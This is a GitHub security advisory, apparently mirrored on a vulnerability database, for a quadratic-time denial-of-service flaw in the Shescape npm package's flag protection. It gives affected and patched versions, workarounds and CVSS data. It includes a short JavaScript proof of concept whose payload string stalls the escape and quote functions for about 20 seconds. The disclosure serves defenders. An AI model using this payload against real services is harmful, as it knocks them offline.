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GHSA-GM3R-Q2WP-HW87

Vulnerability from github – Published: 2026-07-24 22:35 – Updated: 2026-07-24 22:35

Summary

Shescape: Quadratic-time denial of service in the flag-protection

Details

Impact

This impacts users of Shescape that have flag protection enabled, which is on by default, regardless of the API being used.

An attacker can cause a runtime quadratic in the input size, causing denial of service for large inputs.

import { Shescape } from "shescape";

// 1. Prerequisites
const options = {
    //flagProtection unspecified
    // Or
    flagProtection: true,
};

// 2. Payload
let payload = "\u0000-".repeat(32000);

// 3. Usage
const shescape = new Shescape(options);
let callback;

callback = () => shescape.escape(payload);
// Or
callback = () => shescape.escapeAll([payload]);
// Or
callback = () => shescape.quote(payload);
// Or
callback = () => shescape.quoteAll([payload]);

const t0 = process.hrtime.bigint();
callback();
const ms = Number(process.hrtime.bigint() - t0) / 1e6;

// 4. Impact
console.log("Duration:", ms);
// Outputs "Duration:" followed by a number close to 20000

Patches

This bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.

If you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.

No patches will be released for version of Shescape lower than v2.0.0.

Workarounds

Alternatively, users of Shescape can 1) put restrictions on the length of untrusted input or 2) strip all content before the last - from untrusted inputs.

For more information

Comment on Pull Request [#2651] for v2 and [#2649] for v3
Comment on commit [b4b34c3] for v2 and [43d70b5] for v3
Open an issue at https://github.com/ericcornelissen/shescape/issues (New issue > Question)

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "shescape"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.11"
            },
            {
              "fixed": "2.1.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "shescape"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T22:35:08Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\nThis impacts users of Shescape that have flag protection enabled, which is on by default, regardless of the API being used.\n\nAn attacker can cause a runtime quadratic in the input size, causing denial of service for large inputs.\n\n```javascript\nimport { Shescape } from \"shescape\";\n\n// 1. Prerequisites\nconst options = {\n    //flagProtection unspecified\n    // Or\n    flagProtection: true,\n};\n\n// 2. Payload\nlet payload = \"\\u0000-\".repeat(32000);\n\n// 3. Usage\nconst shescape = new Shescape(options);\nlet callback;\n\ncallback = () =\u003e shescape.escape(payload);\n// Or\ncallback = () =\u003e shescape.escapeAll([payload]);\n// Or\ncallback = () =\u003e shescape.quote(payload);\n// Or\ncallback = () =\u003e shescape.quoteAll([payload]);\n\nconst t0 = process.hrtime.bigint();\ncallback();\nconst ms = Number(process.hrtime.bigint() - t0) / 1e6;\n\n// 4. Impact\nconsole.log(\"Duration:\", ms);\n// Outputs \"Duration:\" followed by a number close to 20000\n```\n\n### Patches\n\nThis bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.\n\nIf you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.\n\nNo patches will be released for version of Shescape lower than v2.0.0.\n\n### Workarounds\n\nAlternatively, users of Shescape can 1) put restrictions on the length of untrusted input or 2) strip all content before the **last** `-` from untrusted inputs.\n\n### For more information\n\n- Comment on Pull Request [#2651] for v2 and [#2649] for v3\n- Comment on commit [b4b34c3] for v2 and [43d70b5] for v3\n- Open an issue at \u003chttps://github.com/ericcornelissen/shescape/issues\u003e (New issue \u003e Question)",
  "id": "GHSA-gm3r-q2wp-hw87",
  "modified": "2026-07-24T22:35:08Z",
  "published": "2026-07-24T22:35:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ericcornelissen/shescape/security/advisories/GHSA-gm3r-q2wp-hw87"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ericcornelissen/shescape/pull/2649"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ericcornelissen/shescape/pull/2651"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ericcornelissen/shescape/commit/43d70b59d09bbe5c3fd02ef08b3a123e977ed9de"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ericcornelissen/shescape/commit/b4b34c394e7f9da2775bb75381066b9a228c425f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ericcornelissen/shescape"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ericcornelissen/shescape/blob/dea8893a5877893d8d4923dbf253080e08899e6d/docs/migration.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ericcornelissen/shescape/releases/tag/v2.1.14"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ericcornelissen/shescape/releases/tag/v3.0.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Shescape: Quadratic-time denial of service in the flag-protection"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

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